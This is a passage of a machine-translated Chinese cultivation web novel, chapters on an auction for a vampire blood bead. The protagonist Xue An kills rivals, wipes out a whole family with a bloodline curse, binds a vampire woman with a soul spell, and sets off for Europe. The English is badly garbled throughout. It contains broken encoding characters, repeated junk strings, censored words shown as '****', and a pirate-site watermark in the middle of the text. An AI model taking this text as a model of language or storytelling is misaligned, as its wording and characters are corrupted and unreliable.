    Wang Geng sat in the far corner, looking at An Yan sitting beside Xue An from time to time.


    Although An Yan is now made into an ordinary appearance by illusion.


    But Wang Geng always thinks this woman is a bit familiar.


    Strange, where have you seen it?


    But soon, when the auction officially begins.


    Everyone''s attention was focused on the stage.


    A man with gray hair but a powerful aura walked up to the platform.


    "Everyone, welcome to today''s auction. The first thing to be auctioned today is this thousand-year wild ginseng."


    As he said, he opened an exquisite box with a ginseng more than one meter long, and even had facial features in Sanlushang.


    "I don''t need to say more about the preciousness of this thing. Not to mention the resurrection, at least it is equivalent to one more life if you are around. So this time the starting price is 10 million, and the minimum price increase is 100,000. Let''s start now!


    The auctioneer gave an order.


    began to bid prices.


    "Eleven million!"


    "One thousand two!"


    "One thousand and five!"


    In the end, this ginseng was sold at a sky-high price of 18 million.


    Xue An disagrees, this thing is not enough for a thousand years at a glance, at most four or five hundred years.


    Although it is rare, ginseng is a hurdle for a thousand years, and after a thousand years it will be regarded as the true king of elixir.


    Otherwise, it''s just a better medicinal plant.


    The collections below are even more varied.


    What is the magical talisman written by Zhang Zhenren himself.


    What is the rosary blessed by the Ninth Living Buddha of the Great Buddha Temple in the Western Regions?


    These things are something that is close to magical implements.


    For people in the world, these things have unparalleled magical effects.


    For Xue An, it can only be considered rubbish.


    So he started yawning even when he was bored.


    If the auction is nothing more than that, it would be too boring.


    was thinking, suddenly the auctioneer on the stage raised his voice.


    "The following auction item can be said to be second only to the finale baby, please see!"


    As he said, the auctioneer pulled the red cloth covering it.


    I saw on the stage, there were actually a few pink vials with jewel light.


    Xue An was slightly startled when he saw it, and then laughed blankly.


    Isn��t this heavenly fate? Didn��t expect this to be on auction?


    I saw that the auctioneer said very excitedly: "Everyone, I don��t need to introduce Tianyuan. Moreover, these bottles of Tianyuan are different from the general ones. They are the latest limited editions released by Huaguo. What is a limited edition? What about the models? Tianyuan��s explanation is that the medicinal power must be stronger and purer than the average to be called a limited edition!"


    "So when these limited editions were released, they were immediately robbed."


    Xue An listened in the audience, and couldn''t help crying or laughing.


    It sounds like this should be the idea of ??my three brothers.


    what limited edition.


    are all used to fool foreign tyrants.


    But of course he wouldn��t say anything.


    And at this time, the auctioneer also introduced the effect of Tianyuan boastfully.


    "The general fate is enough to make people rejuvenate and rejuvenate. This kind of limited edition makes this effect to the extreme. Therefore, the importance is self-evident. Now the auction starts with a starting price of 50 million! Each increase in price must not be less than Five hundred thousand!"


    Xue An was also a little surprised when she listened.


    Has Tianyuan actually sold this price?


    Just as soon as the auctioneer''s voice fell, it was as if the pot was boiling.


    "Six million!"


    "Seventy million!"


    ����.


    No one added up a little bit all of them jumped up ten million ten million.


    Finally, these bottles of Tianyuan were sold at a price of 130 million yuan.


    Xue An thought in his heart, it seemed that Qiao Le and the others had to set the price higher in the future, otherwise the money would be made by these scalpers.


    At this time, the auctioneer looked around the field of view, and waited for the crowd to gradually calm down before smiling and saying: "Now, we are auctioning the last collection, which is also the most precious thing today!"


    There was a commotion in the crowd.


    What can be more precious than heaven?


    said, the auctioneer opened a beautiful small box.


    As the lid of the box opened, a ray of blood glowed the entire venue.


    Inside ���� is a blood bead exuding powerful waves.


    and everyone in the room exclaimed.


    Lu Xia and A Fei sat in the most inconspicuous corner, keeping silent.


    Until now, Lu Xia stared at the blood bead, her expression gradually becoming solemn.


    There is dragon crown jade with the same expression as him, and his eyes are full of greed.


    And Quintina took a deep breath, and then whispered to herself softly, fascinated: "What a terrifying blood emperor breath! This is at least a blood drop made by a grand duke."


    That''s right, this auction turned out to be the blood beads after the fall of the European blood.


    Looking at this dark treasure, Xue An suddenly sat upright, his eyes gradually brightening.


    interesting!

 Chapter 361： Chalcedony

    "Everyone, the importance of this thing, I don''t think I need to repeat it! Anyway, if you are practicing the dark system, then this thing will have infinite benefits for you." said the auctioneer.


    "And the auction of this thing is not the same as the others. The consignor doesn''t need money. As long as he can see the rare and precious treasures. As long as he sees it, he will barter."


    This sentence caused a commotion in the audience.


    Lu Xia''s face showed excitement, winking at A Fei.


    Afei quickly stood up.


    "This friend, what are you going to exchange for?" the auctioneer asked.


    A Fei proudly walked to the front of the stage and stretched out his hand.


    "This is the Gu King''s egg from Miao Xiangu. As long as you drop your own blood on it, after the Gu King hatches, you will be the mainstay for the rest of your life, and you will never give up! It is an extremely powerful combat power! "


    Hearing this, there was a commotion below.


    Many people began to whisper.


    "Insect Valley! Is the descendant of Insect Valley!"


    "If you can take out the Gu King''s egg, is it because the Insect Gu Immortal is here?"


    In these comments, Long Guanyu''s face was gloomy, and he looked at Lu Xia in the corner.


    seemed to feel Long Guanyu''s gaze, Lu Xia turned her head to look.


    The eyes of both sides met back.


    Lu Xia smiled honestly and nodded gently.


    Long Guanyu gave a cold snort and turned to look at the stage.


    Although Lu Xia was smiling on the surface, she was a little frightened in her heart.


    It really is him, known as the dragon crown jade of the strongest descendant of Nanyang in a century!


    It seems that today��s auction is very deep!


    While on the stage, the auctioneer went backstage with the Gu King��s egg in his hand, and returned with regret after the meeting.


    "I''m sorry, sir, although this Gu King''s egg is powerful and mysterious, but the consignor is not too cold with this thing!"


    "What?" A Fei glared.


    can''t even look down on the Gu King''s egg, this is looking down on Miao Xiangu!


    When ���� was about to attack, Lu Xia solemnly said: "A Fei!"


    Fei then gave the auctioneer a bitter look, then turned around and stepped off the stage, and said angrily: "Master Gu, these guys don''t know the goods at all. I''m really angry!"


    Lu Xia smiled, and then looked at the stage with blinking eyes.


    He also wants to know, what exactly does this person who can consign such things want?


    Dragon Crown Jade at this time Shi Shiran stood up and walked towards the high platform.


    "Who is this person?"


    "Shhh, keep your voice down, this person can''t be offended by ordinary people. This is the dragon crown jade, the leader of Nanyang''s descending head!"


    hiss!


    When I mentioned the lower head teacher, many people felt that the back of the neck was cold.


    That thing is too evil after all.


    is completely invisible.


    Long Guanyu proudly walked to the stage, reached out and took out a bone and placed it on the table.


    Seeing this thing, many people disagree.


    Only Lu Xia and a few people changed their faces.


    And at this time, the dragon crown said loudly: "Everyone, this is the true bone of the ancient unicorn, and it has a very strong bonus for many magic decisions and the art of blessing and curses!"


    Hearing his introduction, many people were surprised.


    The bones of ancient unicorns!


    Don''t say anything else about this thing, the title alone is already a rare treasure.


    The auctioneer nodded, "Please wait!"


    said, he picked up the bone and walked backstage.


    A moment later, he came back, and then shook his head, "Sorry, the gentleman on the consignment doesn''t like this thing either!"


    The face of Dragon Crown Jade, who was full of letters, froze.


    was even more angry.


    I don��t even want anything like this, what does this consignor want?


    This is also the doubt of many people.


    And after a moment of hesitation, Quintina couldn''t help but stand up, holding a black dagger in her hand.


    "This is a blade of darkness. As long as it is wounded by it, even if it is touched, it will be affixed with various curses and negative states. It is the supreme weapon for lurking and killing."


    This thing made many people who like weapons in the audience shine.


    can add curses and negative states.


    This thing is a magic weapon.


    But the auctioneer came out faster this time, and also shook his head: "Beautiful lady, I''m sorry, he doesn''t like this either."


    The scene is deadlocked.


    Many people don��t know what this mysterious consignor really wants.


    Could he just show off on purpose? Actually don''t want to sell this thing at all?


    Many people are thinking about it.


    Xue An smiled, stood up and walked towards the high platform.


    His action attracted everyone''s attention.


    After looking around for a few times, many people''s faces showed disapproval.


    Compared to Lu Xia, there is also the overbearing aura of Long Guanyu and others.


    Xue An''s performance is very ordinary.


    What good stuff can someone like ���� have?


    So many people have no hope.


    When Xue An came to the stage, the auctioneer asked: "Sir, do you have any rare treasures to exchange?"


    Xue An nodded, and threw out a stone-like object.


    The auctioneer frowned and looked at Xue An''s attitude, this thing wouldn''t be too valuable.


    "Please tell me what this thing is!" the auctioneer asked.


    Xue An faintly smiled, "This... you should take it and ask the backstage person, if he really knows the goods, he should know what this thing is!"


    The auctioneer was a little disapproving, and went backstage with this jade-like thing.


    This time, he went for a long time.


    The long and even the audience began to commotion gradually.


    Then the auctioneer walked over with a surprised expression, and then nodded at Xue An.


    "Mr. on the consignment said, the deal!"


    Boom!


    This time, the audience was a sensation.


    Many people don��t know why.


    Some good things are even more noisy.


    "No, there must be a shady scene. Isn''t a broken stone more precious than the egg of the king Gu and the bones of the unicorn? You must be colluding!"


    "Correct!"


    Many people began to echo Faced with this scene, Xue An just stood with his hands behind and smiled faintly.


    "Broken stones? Haha, if these are broken stones, then there is nothing in this world that can be called a treasure! Because...that''s a chalcedony spirit stone!"


    This sentence came out.


    The dragon crown jade and Lu Xia and others who were originally going to watch Xue An''s jokes all changed.


    Chalcedony spirit stone!


    The name ���� sounds strange to many people.


    Only famous schools and schools with a long heritage will know this thing.


    This is an existence like a treasure of heaven and material.


    used to be mined in the mundane, and it was able to improve a person''s cultivation very quickly.


    Only after the aura gradually thins out, this thing becomes extremely rare!


    I didn''t expect to meet here today.


    Many people looked at Xue An with surprise.


    I don''t know how this shameless man has such a treasure.


    And at this time, the auctioneer even whispered: "This gentleman, the gentleman on the consignment asked me to ask you, do you still have this kind of stone?"


    Xue An smiled slightly, "Some are, but I don''t want anything else, just this kind of thing!"


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����

 Chapter 362： Halfway interception

    After that, Xue An walked off the platform with the blood bead and returned to his seat.


    An Yan came over curiously and asked, "Husband, what do you want this thing for?"


    Xue An smiled slightly and said in An Yan''s ear: "I just felt a trace of regularity from this thing."


    An Yan still looked awkward, and asked stupidly: "What do you mean?"


    "It means, this thing seems to help you break the seal!"


    When Xue An said this, his eyes flickered slightly.


    To be honest, he almost jumped up when he first saw this blood bead.


    After all, Jinxian is not so easy to find in this world.


    Without the golden fairy, there would be no fairy.


    In that case, helping An Yan break the seal will have to be delayed.


    Even when Xue An becomes a golden fairy or a true fairy, he can completely break open.


    In that case, it will probably take a while.


    But this blood bead actually condenses the power of this rule.


    Although very weak, the rules are the rules!


    can also help An Yan break the seal.


    More importantly, since this thing can be auctioned here, it shows that it is not very lacking.


    Thinking of this, Xue An couldn''t help but recall the blood family who had been killed in Sin City.


    This race is really interesting!


    Xue An thought in his heart, and led An Yan and the two sleepy little girls out of the auction room.


    Song Yi was waiting outside, and hurriedly greeted Xue An when he came out.


    "My lord, how is it?"


    Although Song Yi''s position in Xiangjiang is very high, if there is no auction intention in this kind of auction, he is not allowed to enter.


    So he just waited outside.


    Xue An nodded, "Good harvest!"


    Song Yi said with a smile: "That''s good, sir, let''s go!"


    While on the road, when Song Yi knew that Xue An had photographed something, his smile disappeared and his expression became serious.


    "My lord, if you say that, are many people sure to get this thing?"


    Xue An nodded.


    "Then let''s leave here as soon as possible!" Song Yi said solemnly, feeling a little worried.


    Although he has strong confidence in Xue An, after all, there are so many people on the other side, so it is better to leave as soon as possible.


    Xue An just smiled, "Go, do you think we can go now?"


    Following his voice, a gloomy voice came.


    "You are quite self-aware, so if you hand in bleeding beads and chalcedony spirit stones, then I will spare your life. What do you think?"


    Following the voice, Long Guanyu walked out slowly.


    Behind him, he followed the Major General Wang Geng.


    Xue An looked at them, the corners of his mouth raised, showing a slight smile, "I think you seem to lack self-knowledge the most."


    Long Guanyu''s complexion gradually sank.


    Then Xue An turned his head and looked at another place, "Are you going to hide it? Come out!"


    Following Xue An��s words, Lu Xia smiled and showed her figure, "Sure enough, she has good eyesight! You can find me!"


    The complexion of Dragon Crown Jade became difficult to look.


    Lu Xia''s appearance undoubtedly complicates things.


    But no matter who comes, this blood ball dragon crown jade is bound to win.


    Therefore, he said solemnly, "Lu Xia, I stopped this person first, and things should belong to me!"


    Lu Xia rubbed her hands and smiled faithfully, "But I have been following him since he left the house, Master Long, this thing is also very important to me, you should let me!"


    Dragon Crown Jade snorted angrily, "So, are you going to grab it with me?"


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "Looking for the treasure is ahead, Lu can''t bear to give up." Lu Xia said lightly.


    The two began to **** the blood bead in front of Xue An, as if Xue An was air.


    Xue An didn''t get angry, so he just watched quietly with his arms around.


    After listening to the meeting, he sighed boredly.


    "There is another one, when are you going to hide?"


    Following Xue An��s voice, in a dark corner not far away, Quintina��s figure gradually emerged, and she smiled and said, ��What a keen insight!��


    Her appearance made the faces of Lu Xia and Long Guanyu who were still arguing a little ugly.


    But Xue An smiled at Quintina, "If you read it right, you are a blood clan!"


    Is this woman actually a kindred?


    Lu Xia and Long Guanyu were both surprised.


    As expected.


    I saw Quintina said coquettishly: "It really has good eyesight! Hey, I can''t bear to kill you."


    Talking, Quintina''s eyes gradually turned red, and two huge fangs appeared on her lips.


    Xue An looked at with interest, and shook his head until Quintina had finished her transformation.


    "Although it is a blood clan, it is too weak!"


    In Xue An''s eyes, this woman is not as powerful as the blood that she killed in Sin City.


    Quintina''s complexion darkened, and she sneered: "It''s not up to you to decide whether you are weak or not. If you cross the bleeding beads, I can not **** your blood!"


    Xue An looked at these three people, helplessly spread his hands, "I have only one blood bead, but you have three of you, who do you want me to give to?"


    The three of them were taken aback, and were about to talk.


    Xue An sighed and said, "I really hate my brain and don''t want you to fight for this, so in order to solve this problem, I decided to... kill you all!"


    The audience was silent for a moment.


    "Kill it all? Haha, it''s so funny!" Long Guanyu seemed to have heard a big joke, his face full of mockery.


    Quintina smiled disapprovingly.


    Even the honest-looking Lu Xia couldn''t help rubbing her hands, and said with a smile: "This Xiongtai, as long as you hand over the blood beads to me, then I can protect your life!"


    Xue An smiled faintly, "Really a good suggestion, but it is more suitable for you!"


    After that, Xue An''s momentum suddenly surged.


    is like a sharp sword out of its sheath in the blink of an eye, making people afraid to look directly.


    Dragon Crown Jade and Quintina Lucia were shocked. UU Reading www.uukahnshu.com


    This momentum.......


    Xue An didn''t give them a chance to think or be surprised, slowly raised his fist, and whispered: "Move the world!"


    Boom!


    The Dragon Crown Jade blocking the front was directly blasted out by this punch.


    is followed by Lu Xia who just summoned the Gu worm. He insisted on taking a breath and snorted before being blasted out.


    As for Quintina.


    Under the fist storm, she was already shattered half of her body.


    The power of this fist caused the three of them to lose at the same time.


    At the same time, Wang Geng who was on the side suddenly exclaimed: "You...you are Xue An!"


    He always thought Xue An''s punch was very familiar.


    Especially that sentence moves the world.


    seems to have heard it somewhere.


    Then he suddenly remembered.


    Family meetings have been held more than once at home to discuss Xue An''s affairs. He heard Xue An''s martial arts cultivation skills from there.


    And this moving world is also Xue An��s famous skill.


    The two characters ���� Xue An seemed to have magical powers, which made Long Guanyu, Lu Xia and others'' complexions changed.


    Dragon Crown Jade''s complexion flushed abnormally, and then roared: "Xue An, it''s you! You killed my disciples, and I will avenge them today and die!"


    "Destroy the world."


    After ���� Dragon Crown Jade was injured by a punch, his heart was full of anger, so he roared and used his strongest head-down technique.

 Chapter 363： Curse the king

    Annihilation.


    Dragon Crown Jade has been practicing with great concentration for so many years, through the slaughter of those weak gods to obtain the strongest head drop technique.


    The unfolding of this performance is enough to change the color of the howling world of ghosts and gods.


    Xue An, who was in the center of the storm, did not show any expression.


    Dragon Crest Yuluo rushed over with a smile.


    This overbearing world-destroying technique, as long as it is contaminated with a trace, then the soul will be scattered and killed.


    But it was the moment when the world was about to come into contact with Xue An.


    Xue An shook his head and chuckled, "I thought it was a great trick, but it turned out to be a spell for fate! I will do it too, so I will let you see today, what is the real head drop technique!"


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    As he said, Xue An made an extremely mysterious seal in mid-air with his fingers, and suddenly gave a soft drink.


    "Curse off cause and effect!"


    Boom!


    With this soft drink, Fayin suddenly emitted a white light that people dare not look at directly, and then it was directly printed on the forehead of the dragon crown jade with a frightened face.


    The storm-like extinction stagnated for a while, and then suddenly dissipated.


    And the dragon crown jade stood stiff in place.


    After a long while, he let out a sigh of relief, "Good spell!"


    Say it.


    The whole person of Dragon Crown Jade turned into a pool of flesh and blood, and became muddy flesh.


    This scene shocked Lu Xia.


    He knew the ability of Dragon Crown Jade, but he didn''t expect that he hadn''t survived a single move and died directly under Xue An''s spell.


    really deserves to be a peerless master in the limelight recently.


    Lu Xia thought, the breath of his body gradually became obscure, and A Fei hurried to hide away in fright.


    Because he knew that Lord Gu had to use a trick.


    "Xue An, I admit that you are very powerful, but today, the Gu Master of Miao Xiangu wants to compare with you!"


    As he said, countless dense insects suddenly appeared under Lu Xia''s feet.


    A scarlet poisonous insect mark appeared on Lu Xia''s forehead.


    The swarm of insects flew up suddenly, and then rushed towards Xue An with an extremely powerful aura.


    "Do you use Gu technique?" Xue An said lightly.


    Then in Lu Xia''s exclamation, she raised her hand and flicked her finger gently.


    Snapped!


    These Gu worms seem to have been crushed by something, directly turning into powder.


    Lu Xia even opened her mouth, and a mouthful of blood came out.


    These Gu worms are all connected with his blood.


    Xue An said lightly: "You just said you let me go, that''s good, I will let you go today! Get out!"


    Lu Xiaqiang endured the turbulence of blood in his chest, looked at Xue An in horror, then arched his hand and left with A Fei quickly.


    "Do you still want to leave?" Xue An said lightly.


    Wang Geng, who was about to sneak away quietly, froze, turned his head and smiled flatteringly: "Mr. Xue, our Wang family and you don''t seem to have any hatred, you see..."


    Xue An shook his head, "It''s not your turn yet, don''t worry, come one by one!"


    As he said, Xue An waved his hand, and a ray of sword light flashed across the night sky.


    ��!


    There was a scream from a woman in the air, Quintina fell down, and then countless vine-like sword lights bound her firmly, making her unable to move at all.


    "Be obedient, otherwise, these sword lights will twist you into pieces." Xue An said lightly, and then turned to Wang Geng.


    Wang Geng stepped back with a panic face, "You...what are you going to do? I''m from the Zhonghuai King''s family, I''m a major general! I''ll tell you..."


    Xue An drew a seal and said lightly: "Zhonghuai King''s family? Haha, you were the one who captured the Fire Phoenix from the Liuliu''s family back then, detained my plane, summoned the wind and rain and wanted to mess with my wedding, it''s you!"


    Wang Geng sweated like syrup, and said with a strong smile: "Misunderstanding, this is all misunderstanding!"


    Xue An shook his head, "I said it was a misunderstanding now. It''s really funny!"


    As soon as Xue An stretched out his hand, the seal was directly printed on Wang Geng''s forehead.


    "You...what are you going to do?" Wang Geng shouted in horror.


    Xue An''s eyes flickered, and a cold smile appeared at the corners of his mouth, "What do you want to do? Haha, naturally...destroy your Wang family!"


    "Bloodline... Curse!"


    When he was in the provincial capital, Xue An used this trick to kill one of the Xie��s children.


    At that time, Xue An''s cultivation base was just a celestial being.


    When it is used now, the power is naturally even more different.


    The power of a solemn curse was killed by Wang Geng''s bloodline directly from the mysterious blood connection.


    Zhonghuai.


    Wang Family.


    As the largest family in Zhonghuai.


    The days of the Wang family can be described as being aloof and comfortable.


    Like now.


    The actual controller of the Wang family, the elder Wang, who is nearly 90 years old, just drank a cup of fragrant tea and was about to go to sleep.


    Suddenly, an inexplicable heart palpitations came.


    The old man Wang didn''t even react, he spit out a big mouthful of blood.


    The servant who was waiting saw this scene, and shouted in fright.


    "Hurry up, come on!"


    Grandpa Wang��s son, Wang Geng��s father, Wang Han, and several direct descendants of the Wang family all rushed in.


    "Father, what''s the matter with you?" Wang Han couldn''t help but anxious when he saw Father Wang vomiting blood.


    Old man Wang just wanted to talk, and then he saw a scene that made his eyes split.


    I saw that Wang Han and a few children all opened their mouths together, spit out a big mouthful of blood, and the whole person''s momentum began to weaken rapidly.


    "Quickly, call the Keqing at home!" Elder Wang shouted with the last bit of strength.


    He knew that this must have been an extremely vicious spell on the Wang family.


    Soon, a few warlocks arrived in a hurry.


    But at this moment, Mr. Wang could no longer support it. I can only look at these people with my eyes.


    These people were also frightened by this scene, but these people are also really talented people, and they all frowned.


    "Could it be a curse?"


    "It doesn''t look like it, I think it looks like a head drop technique!"


    "Anyway, first use Dao Fa to clear the heart to eliminate the power of the curse!"


    A few people quickly negotiated and then jointly used a clear heart spell.


    This is the basic magic of Taoism. After the three of them jointly use it, the natural power is amazing.


    Mr. Wang felt that his chest feels too tight and he breathed a lot easier.


    Wang Han and others are even more relaxed.


    But just when they think they are going through the storm.


    A curse that was more than ten times more violent than just before pounced.


    As soon as ���� touched, it completely shattered the silver light of the Qingxin Mantra.


    Then there was a calm voice.


    "Don''t worry about it!"


    Then, under the power of this curse, Mr. Wang screamed first, and his whole person rapidly aged, and then turned into a skeleton.


    followed by Wang Han and many of the Wang family''s children, who fell to the ground almost at the same time and died in desperation.


    The scene of ���� scared the three of them to trembling.


    They realized that the cultivation base of the cursed killer was unfathomable.


    "Thank you, senior, for your mercy, I''ll leave right now!"


    The three yelled into the air, then turned around and ran away dingy.


    At this moment, Xue An looked at Wang Geng, who was devastated because of the death of his family, and said lightly: "Your biggest mistake is that you shouldn''t provoke me again and again!"


    After that, Wang Geng let out a terrified cry, and the whole person was directly killed by the bloodline curse and turned into powder.

 Chapter 364： Cardinal

    Seeing this scene, Quintina couldn''t help trembling. This man was too terrifying.


    From the time of the shot to the present, he killed one person, defeated one person, and killed one person and his whole family easily.


    Compared with this, all the words and deeds of the three of them just now became a joke.


    Xue An walked over slowly and looked at Quintina condescendingly, with a playful smile on the corner of his mouth.


    "Do you know why I didn''t kill you?"


    Quintina''s eyes flashed with rebellious light, and she said coldly: "The noble blood will never give in. Don''t think that I will surrender to you..."


    Quintina instinctively thought that Xue An was interested in her beauty and wanted to accept herself as a slave girl.


    But Xue An shook his head, "You made a mistake. I am not interested in you at all, but I am interested in your blood."


    Interested in the blood family?


    Quintina was shocked, a hint of ominous premonition rose in her heart.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "I ask you, what level of blood is needed to condense this kind of blood beads?" Xue An asked.


    Quintina gritted her teeth and said nothing.


    Xue An smiled slightly, "I hope you have always been so strong."


    said, Xue An waved.


    A black light and shadow flew into Quintina''s forehead.


    "You...what did you do to me?" Quintina yelled in horror.


    "A little magic on the soul, if you are not obedient, then this spell will burn your soul to ashes!" Xue An said lightly.


    Quintina just wanted to talk, a sudden pain from the depths of her soul instantly made her lose all her dignity.


    "Kill...Kill me!" Quintina pleaded.


    Xue An looked at her unmovedly, "If I had just been defeated by you, I would probably end up worse than this! For example, you sucked up your blood and became a blood slave?"


    Quintina looked pale.


    Xue An is right.


    If Xue An had just been defeated, then Quintina would not hesitate to **** his blood.


    After all, the blood of a cultivator is of great benefit to the cultivation of the blood race.


    "Now, let me ask you again, at what level of blood can this thing condense?"


    "The blood above the Marquis can condense the blood beads when they fall. But only the blood beads above the Grand Duke are the most valuable!" Quintina said with difficulty.


    Xue An nodded, "Very well, this is a good start!"


    After speaking, Quintina felt that the pain in the soul had disappeared, and that great sense of happiness made Quintina wish to fall asleep now.


    And Xue An put his hand directly on her forehead.


    Quintina rattled with fright.


    Xue An smiled, "Don''t be afraid, I''ll find something!"


    As he said, Divine Sense directly intruded into Quintina''s sea of ??consciousness, and then copied everything about the blood family directly.


    Waiting to withdraw his hand, Xue An raised his eyebrows slightly.


    He just got a lot of information from Quintina''s mind.


    The blood race is a creature that does not know when it appeared on the earth, but its history should be longer than that of human beings.


    This is a race that walks in the dark, with extremely high levels and a long life.


    The level symbolizes their strength.


    is generally divided into the five grades of Gonghou Bozinan. When it reaches the level of Grand Duke, the strength is already equivalent to the peak of Sanxian.


    And above the duke, there are princes, and the terrifying second and first generations.


    But those are already legendary existences for Quintina.


    She has never seen it.


    A smile appeared at the corner of Xue An��s mouth, and the blood of the Grand Duke could break the seal, so wouldn��t the existence of the above levels be more powerful?


    Xue An is a little excited when he thinks of this.


    easily untied the sword beam that bound Quintina.


    Quintina got up from the ground with a face of fear, her eyes flickering, she didn''t know what Xue An was going to do.


    Xue An said lightly: "My wife, there is nothing fun in Xiangjiang, I will take you to a honeymoon in Europe!"


    An Yan naturally had no opinion, and nodded.


    But Quintina was shocked, and an incredible thought rose in her mind.


    What is he going to do in Europe?


    Could it be.......


    Ha ha!


    Although this man is tyrannical, Europe is the stronghold of the blood race. He has gone, and it is estimated that he will be torn to pieces by the strong blood race!


    Thinking of this, Quintina''s heart was full of joy.


    But as soon as I thought of this, the pain of the soul struck again.


    The painful Quintina thumped and knelt on the ground, unable to move at all.


    And Xue An smiled slightly, "I forgot to tell you, and I was hit by my spell, then you have to do what I let you do. You must not have the slightest resentment and revenge, otherwise you will suffer endless pain! Of course! , When the trip to Europe is over, if you perform well, I can still solve it for you, understand?"


    Quintina looked at Xue An with the eyes of the devil, nodded in horror, "It''s...Master!"


    In a church in Xiangjiang.


    A purple-clothed priest stood aside respectfully, while sitting in a chair was a bishop in red.


    Cardinal, the strongest in the Church of Illumination besides the Pope and the Big Four.


    The existence of ���� can even change the kingship of a small country at will.


    now appears in Xiangjiang in such a low-key manner.


    At this moment, the cardinal was lowering his head to play with the chalcedony spirit stone in his hand, and his face gradually showed excitement.


    "This thing... is the gem that the Pope is struggling to find that can communicate with the heavens! I didn''t expect to see the sky again in Xiangjiang today!"


    said, the cardinal raised his head and looked at Father Ziyi, "You did a great job!"


    Father Ziyi was very excited.


    He is the deacon of the diocese of Xiangjiang is a middle-level member of the Bright Church, and he is far away from giants like the Cardinal.


    So when he was praised by the cardinal, he cried with excitement.


    "Everything is the glory of God!" The deacon in purple took a deep breath and said in a deep voice.


    The cardinal looked solemn and nodded, "Yes, everything comes from the glory of God. I will report this to the Chief Referee after I return!"


    "Thank you, Bishop!"


    "What does that man look like?" the cardinal asked.


    "Nothing unusual! And I have checked, no matter if it is a Chinese repair world or a foreign supernatural power, there is no such person." Said Deacon Ziyi.


    The cardinal''s eyes shone with light, "This thing is extremely important to the church. You must carefully find out the details of this person! If necessary, you can give him some benefits!"


    "Yes! But this person said that he only needs blood beads!"


    The cardinal frowned, "The Dark Council on the European side is very restless during this time, while the Paladins suppressed the evil **** on the Nordic side! The church has no extra power to conquer the blood race, and the blood drops are at least above the Marquis. Only the blood clan can condense!"


    After thinking for a moment, he said, "It''s best to find out where this spirit stone came from! I think this person definitely found a mysterious treasure!"


    "Understand!"


    A holy smile appeared on the cardinal��s face, "Everything is given by God. If it is a mysterious treasure, it is also God��s glory, isn��t it?"

 Chapter 365： To Europe

    Nanyang.


    A roar came from a desolate and quaint temple.


    "Who is it that dare to kill my **** son!"


    Following the voice, the two closest priests screamed and turned into blood.


    "The Lord of God calm down, the Lord of God calm down!"


    Many priests squatted on the ground, shaking and saying.


    After a while, this god''s residence in charge of Nanyang''s head hummed coldly.


    "I have felt that the Qi of Heaven and Earth is slowly changing. After a while, I will be able to return to the world. Then I must make the person who killed my son, the Dragon Crown Jade, a ghost, so that he will never live forever!"


    And in a very hidden corner of Xiangjiang.


    Lu Xia was lying on the bed with a pale face, and A Fei was waiting beside her with an anxious face.


    After a long time, Lu Xia slowly opened her eyes.


    "Master Gu!" A Fei hurried forward.


    "How long have I been in a coma!" Lu Xia whispered.


    "It didn''t take long, about three hours!"


    Lu Xia nodded, he was killed by Xue An''s natal Gu worm in one blow. He was seriously injured and passed out in a coma on the way back.


    "Thanks for your hard work, ALFY!"


    "What the Lord Gu said, serving Gu Master is the bounden duty of our Miao Immortal tribe!" A Fei said.


    suddenly.


    Lu Xia pressed a worm egg on A Fei''s forehead.


    Snapped.


    The eggs broke open.


    A Fei trembled all over, and felt a powerful breath appearing in the sea of ??consciousness.


    "Master Gu!" A Fei exclaimed.


    Lu Xia smiled pale, "I didn''t expect Xiangjiang not only got nothing, but was seriously injured. This Gu King''s egg is useless. Give you one!"


    A Fei burst into tears, "Master Gu..."


    Of course he knows the preciousness of this Gu King egg.


    Lu Xia waved her hand, "Although your Gu heart is about to disappear because of the world, but a heart of innocence is still there, this Gu King egg is considered a reward for you, this time you return to Miao Immortal Valley, you too Follow it!"


    "Yes!" A Fei lowered his head, no more greedy for Hong Chen in his heart.


    After all, Lord Gu even gave himself such a precious egg of the Gu King, of course he couldn''t live up to it.


    Gong Xiaoqing happily came to the hotel where Xue An was staying.


    Sijin��s matter has been settled.


    Gong Xiaoqing��s company jointly issued a ban on several other performing companies.


    At the same time, Gong Xiaoqing also sued Si Jin to court.


    Si Jin is completely finished.


    After finishing all this, Gong Xiaoqing hurried over, wanting to thank Xue An in person.


    If it weren''t for Mr. Xue, I would have died a long time ago now.


    Just as soon as he entered the door, he saw Xue An walking out with his family carrying a bag, followed by a beautiful western woman with blond hair and blue eyes.


    "Sir, you are..." Gong Xiaoqing was a little confused.


    Xue An smiled, "The matters on Xiangjiang have been settled, and I plan to take my family to Europe for a round of fun!"


    Gong Xiaoqing was stunned, the originally elated mood suddenly dimmed.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "Mr. Xue is leaving now? Then Xiaoqing wishes you a good journey!" Gong Xiaoqing said with a smile.


    Xue An nodded, and led his family out of the car to go straight to the airport.


    Gong Xiaoqing stunned for a while, and then went away sadly.


    She wanted to get in touch with Xue An more through this opportunity. She knew very well that Xue An was definitely not an ordinary person.


    But now that people have left, I have to give up this idea.


    The family got on the plane to country Y.


    Because of the rush to go this time, I couldn''t buy first class tickets.


    had to sit in business class.


    Compared to the first-class cabin with one person and one-person service, the riding environment in business class is much worse.


    But the two little girls didn''t feel anything strange. They sat by the window and started a war of imagination against the clouds outside the window.


    "This flower looks like an upside-down ice cream." This is Xue Nian talking.


    "Look, this is like bread that has been stepped on!" Xue Xiang''s thinking is obviously a little strange.


    "Hey, this is meat skewers."


    "I feel like candied haws!"


    "Is there such a big candied haws?"


    "Are there such big skewers?"


    The two little girls began to quarrel habitually again.


    This is already their daily routine.


    Xue An and An Yan are already quite familiar.


    But the others in the cabin smiled.


    There are two quirky little guys, and there will be a lot less loneliness on the journey.


    But some people don��t think about children.


    Ding Guang looked at Quintina who was sitting aside, and couldn''t help swallowing.


    This blonde girl, no matter her figure or appearance, is the type that Ding Guang likes.


    He finally couldn''t help but accosted: "Hello! Are you from country Y?"


    Quintina looked up at Ding Guang, then nodded.


    "How do you see it?"


    Ding Guang was overjoyed, as long as he asked this question, it meant that the conversation was half successful.


    He immediately said, "Hehe, you can tell by looking at your clothes and behavior. My name is Ding Guang, can you meet me?"


    Ding Guang stretched out his hand and said.


    Quintina did not respond. Instead, she glanced at Xue An in the front row, and then shook her head, "Sorry, I need to get the consent of my host to make friends."


    the host?


